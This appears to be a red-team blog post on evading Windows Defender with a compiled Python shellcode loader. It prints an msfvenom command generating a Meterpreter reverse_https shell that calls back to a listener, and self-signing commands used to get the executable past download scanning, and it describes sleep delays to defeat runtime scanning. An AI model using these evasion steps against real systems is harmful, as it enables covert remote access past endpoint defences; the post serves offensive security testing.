Pythonic Malware: Evading Detection with Compiled Executables

Photo by Kobby Mendez on Unsplash

Creating Python executables during an offensive security engagement used to be an effective method of evasion. However, this tactic has become increasingly difficult on modern Windows endpoints.

In fact, even benign programs seem to get blocked immediately after touching disk. This is just one of the reasons red teamers have moved away from popular frameworks such as Veil-Evasion and onto bigger-better things.

This post revisits compiled Python’s use in offensive security testing and shares my experiences launching Meterpreter shells on a fully patched Windows 10 system against Windows Defender.

⭐️ Not a Medium member? Read the full article at m8sec.dev

Malware Creation

Given my primary focus was on evasion tactics in the compiled executable, I created a simple shellcode loader as my “malware”. The script called common Windows functions such as VirtualAlloc& CreateThread to inject shellcode locally within the current process.

The payload itself utilized a reverse_https connection over port 443 and was generated by MSFVenom, without any encoding or obfuscation techniques:

msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.1.157 LPORT=443 -f py

At this point, I didn't have much faith in the code and thought it was sure to get detected. However, when attempting to execute the Python script directly, no alerts were triggered and a reverse connection was established.

Photo by Author

Compiling Python

Despite triggering a successful Meterpreter shell, I cant rely on Python being installed on every Windows workstation. Therefore, the next step is to compile the source code — making it executable without needing any additional resources on the host.

Compiling Python is performed using tools like pyinstaller, py2exe, or cx_freeze. These work by wrapping the bytecode version (.pyc) of the script and all required dependencies/interpreters into a single .exe file:

pyinstaller --onefile .\shellcode_loader.py

Unfortunately, when downloading the newly compiled shellcode_loader.exe onto the target system, I didn't get very far before receiving the following alert:

Photo by Author

Evading Detection

Code Signing

At this point, I thought about potential strategies to avoid detection and looked into signing the executable with a self-signed certificate.

Using the Visual Studio Developer Command Prompt, I executed the following commands to generate a certificate and sign the shellcode_loader.exe file.

>> makecert /r /h 0 /eku "1.3.6.1.5.5.7.3.3,1.3.6.1.4.1.311.10.3.13" /e 12/12/2025 /sv m8.pvk m8.cer
>> pvk2pfx /pvk m8.pvk /spc m8.cer /pfx m8.pfx
>> signtool sign /a /fd SHA256 /f m8.pfx shellcode_loader.exe

Now, looking at the file’s properties, “Joe’s-Software-Emporium” was listed under Digital Signature details— (Microsoft Default). With that, the executable could be downloaded without detection.

Photo by Author

Sleep Intervals

Despite being able to download the file, Windows Defender still flagged the program when attempting execution. That’s when I remembered reading F-Secure’s post about evading Windows Defender Runtime Scanning, which provided lots of great takeaways.

In short, I found adding various sleep intervals between the Win32 API calls bypassed runtime scanning and successfully triggered a working reverse shell.

Photo by Author

Conclusion

A compiled Python executable wouldn’t be my first choice in a true red teaming engagement. However, this was a fun proof-of-concept and may prove useful in other areas of offensive security testing.

A final copy of my shellcode_loader.py script can be found on GitHub.

Thanks for reading! Follow for more offensive security tactics or learn more about me at m8sec.dev.

Get Free / discounted services while supporting my work:
🔒 Proton Encrypted Email
🌐 Proton VPN Service
💰 Privacy.com Virtual Cards
❤️ Become a GitHub sponsor